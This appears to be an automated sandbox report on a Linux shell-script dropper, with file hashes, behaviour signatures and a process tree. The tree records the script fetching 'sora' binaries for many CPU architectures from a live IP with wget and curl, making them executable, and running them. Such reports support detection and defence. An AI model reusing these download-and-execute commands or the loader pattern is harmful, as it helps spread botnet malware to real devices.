Analysis

  • max time kernel
    10s
  • max time network
    11s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/10/2024, 02:04

General

  • Target

    7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh

  • Size

    2KB

  • MD5

    5d873bf46fd4ff411eb17e42d5ae2980

  • SHA1

    fd73b1bb3b7241d68fcaac4f4bf9cc6164b6fa06

  • SHA256

    7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d

  • SHA512

    f58f94eaa5f9440db6b1c41915be89331d7355904631d3ede46adfd517e493b3e49979d0ad0a535d8d6181ac81e0d19d6ba0dcb33765b54bbc16830828cc6382

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 14 IoCs
  • Checks CPU configuration 1 TTPs 14 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 28 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh
    /tmp/7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh
    1⤵
    • Writes file to tmp directory
    PID:655
    • /usr/bin/wget
      wget http://93.123.85.141/bins/sora.x86
      2⤵
        PID:657
      • /usr/bin/curl
        curl -O http://93.123.85.141/bins/sora.x86
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        PID:666
      • /bin/cat
        cat sora.x86
        2⤵
          PID:676
        • /bin/chmod
          chmod +x 7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh robben systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-VIeKBe
          2⤵
          • File and Directory Permissions Modification
          PID:679
        • /tmp/robben
          ./robben Payload
          2⤵
          • Executes dropped EXE
          PID:681
        • /usr/bin/wget
          wget http://93.123.85.141/bins/sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:684
        • /usr/bin/curl
          curl -O http://93.123.85.141/bins/sora.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:687
        • /bin/cat
          cat sora.mips
          2⤵
          • System Network Configuration Discovery
          PID:691
        • /bin/chmod
          chmod +x 7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh robben systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-VIeKBe
          2⤵
          • File and Directory Permissions Modification
          PID:693
        • /tmp/robben
          ./robben Payload
          2⤵
          • Executes dropped EXE
          PID:694
        • /usr/bin/wget
          wget http://93.123.85.141/bins/sora.x86_64
          2⤵
            PID:696
          • /usr/bin/curl
            curl -O http://93.123.85.141/bins/sora.x86_64
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            PID:698
          • /bin/cat
            cat sora.x86_64
            2⤵
              PID:699
            • /bin/chmod
              chmod +x 7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh robben systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-VIeKBe
              2⤵
              • File and Directory Permissions Modification
              PID:700
            • /tmp/robben
              ./robben Payload
              2⤵
              • Executes dropped EXE
              PID:701
            • /usr/bin/wget
              wget http://93.123.85.141/bins/sora.i468
              2⤵
                PID:703
              • /usr/bin/curl
                curl -O http://93.123.85.141/bins/sora.i468
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                PID:704
              • /bin/cat
                cat sora.i468
                2⤵
                  PID:705
                • /bin/chmod
                  chmod +x 7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh robben systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-VIeKBe
                  2⤵
                  • File and Directory Permissions Modification
                  PID:706
                • /tmp/robben
                  ./robben Payload
                  2⤵
                  • Executes dropped EXE
                  PID:707
                • /usr/bin/wget
                  wget http://93.123.85.141/bins/sora.i686
                  2⤵
                    PID:709
                  • /usr/bin/curl
                    curl -O http://93.123.85.141/bins/sora.i686
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    PID:710
                  • /bin/cat
                    cat sora.i686
                    2⤵
                      PID:713
                    • /bin/chmod
                      chmod +x 7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh robben systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-VIeKBe
                      2⤵
                      • File and Directory Permissions Modification
                      PID:714
                    • /tmp/robben
                      ./robben Payload
                      2⤵
                      • Executes dropped EXE
                      PID:715
                    • /usr/bin/wget
                      wget http://93.123.85.141/bins/sora.mpsl
                      2⤵
                        PID:719
                      • /usr/bin/curl
                        curl -O http://93.123.85.141/bins/sora.mpsl
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        PID:722
                      • /bin/cat
                        cat sora.mpsl
                        2⤵
                          PID:725
                        • /bin/chmod
                          chmod +x 7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh robben systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-VIeKBe
                          2⤵
                          • File and Directory Permissions Modification
                          PID:727
                        • /tmp/robben
                          ./robben Payload
                          2⤵
                          • Executes dropped EXE
                          PID:728
                        • /usr/bin/wget
                          wget http://93.123.85.141/bins/sora.arm4
                          2⤵
                            PID:731
                          • /usr/bin/curl
                            curl -O http://93.123.85.141/bins/sora.arm4
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            PID:734
                          • /bin/cat
                            cat sora.arm4
                            2⤵
                              PID:738
                            • /bin/chmod
                              chmod +x 7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh robben systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-VIeKBe
                              2⤵
                              • File and Directory Permissions Modification
                              PID:740
                            • /tmp/robben
                              ./robben Payload
                              2⤵
                              • Executes dropped EXE
                              PID:742
                            • /usr/bin/wget
                              wget http://93.123.85.141/bins/sora.arm5
                              2⤵
                                PID:744
                              • /usr/bin/curl
                                curl -O http://93.123.85.141/bins/sora.arm5
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                PID:747
                              • /bin/cat
                                cat sora.arm5
                                2⤵
                                  PID:750
                                • /bin/chmod
                                  chmod +x 7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh robben systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-VIeKBe
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:752
                                • /tmp/robben
                                  ./robben Payload
                                  2⤵
                                  • Executes dropped EXE
                                  PID:753
                                • /usr/bin/wget
                                  wget http://93.123.85.141/bins/sora.arm6
                                  2⤵
                                    PID:756
                                  • /usr/bin/curl
                                    curl -O http://93.123.85.141/bins/sora.arm6
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    PID:759
                                  • /bin/cat
                                    cat sora.arm6
                                    2⤵
                                      PID:762
                                    • /bin/chmod
                                      chmod +x 7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh robben systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-VIeKBe
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:764
                                    • /tmp/robben
                                      ./robben Payload
                                      2⤵
                                      • Executes dropped EXE
                                      PID:765
                                    • /usr/bin/wget
                                      wget http://93.123.85.141/bins/sora.arm7
                                      2⤵
                                        PID:768
                                      • /usr/bin/curl
                                        curl -O http://93.123.85.141/bins/sora.arm7
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        PID:772
                                      • /bin/cat
                                        cat sora.arm7
                                        2⤵
                                          PID:776
                                        • /bin/chmod
                                          chmod +x 7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh robben systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-VIeKBe
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:778
                                        • /tmp/robben
                                          ./robben Payload
                                          2⤵
                                          • Executes dropped EXE
                                          PID:781
                                        • /usr/bin/wget
                                          wget http://93.123.85.141/bins/sora.ppc
                                          2⤵
                                            PID:784
                                          • /usr/bin/curl
                                            curl -O http://93.123.85.141/bins/sora.ppc
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            PID:787
                                          • /bin/cat
                                            cat sora.ppc
                                            2⤵
                                              PID:791
                                            • /bin/chmod
                                              chmod +x 7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh robben systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-VIeKBe
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:792
                                            • /tmp/robben
                                              ./robben Payload
                                              2⤵
                                              • Executes dropped EXE
                                              PID:793
                                            • /usr/bin/wget
                                              wget http://93.123.85.141/bins/sora.ppc440fp
                                              2⤵
                                                PID:796
                                              • /usr/bin/curl
                                                curl -O http://93.123.85.141/bins/sora.ppc440fp
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                PID:797
                                              • /bin/cat
                                                cat sora.ppc440fp
                                                2⤵
                                                  PID:799
                                                • /bin/chmod
                                                  chmod +x 7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh robben systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-VIeKBe
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:800
                                                • /tmp/robben
                                                  ./robben Payload
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:801
                                                • /usr/bin/wget
                                                  wget http://93.123.85.141/bins/sora.m68k
                                                  2⤵
                                                    PID:803
                                                  • /usr/bin/curl
                                                    curl -O http://93.123.85.141/bins/sora.m68k
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    PID:804
                                                  • /bin/cat
                                                    cat sora.m68k
                                                    2⤵
                                                      PID:805
                                                    • /bin/chmod
                                                      chmod +x 7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh robben systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-VIeKBe
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:806
                                                    • /tmp/robben
                                                      ./robben Payload
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:807
                                                    • /usr/bin/wget
                                                      wget http://93.123.85.141/bins/sora.sh4
                                                      2⤵
                                                        PID:809
                                                      • /usr/bin/curl
                                                        curl -O http://93.123.85.141/bins/sora.sh4
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Reads runtime system information
                                                        PID:810
                                                      • /bin/cat
                                                        cat sora.sh4
                                                        2⤵
                                                          PID:812
                                                        • /bin/chmod
                                                          chmod +x 7e6b05cccd6c301a8b1998f94354ff18ae89c8a777c0b1c59e9bc821b12f287d.sh robben systemd-private-3b148e8f820244b985fb9e6bdebf8e5b-systemd-timedated.service-VIeKBe
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:813
                                                        • /tmp/robben
                                                          ./robben Payload
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:815

                                                      Network

                                                            MITRE ATT&CK Enterprise v15

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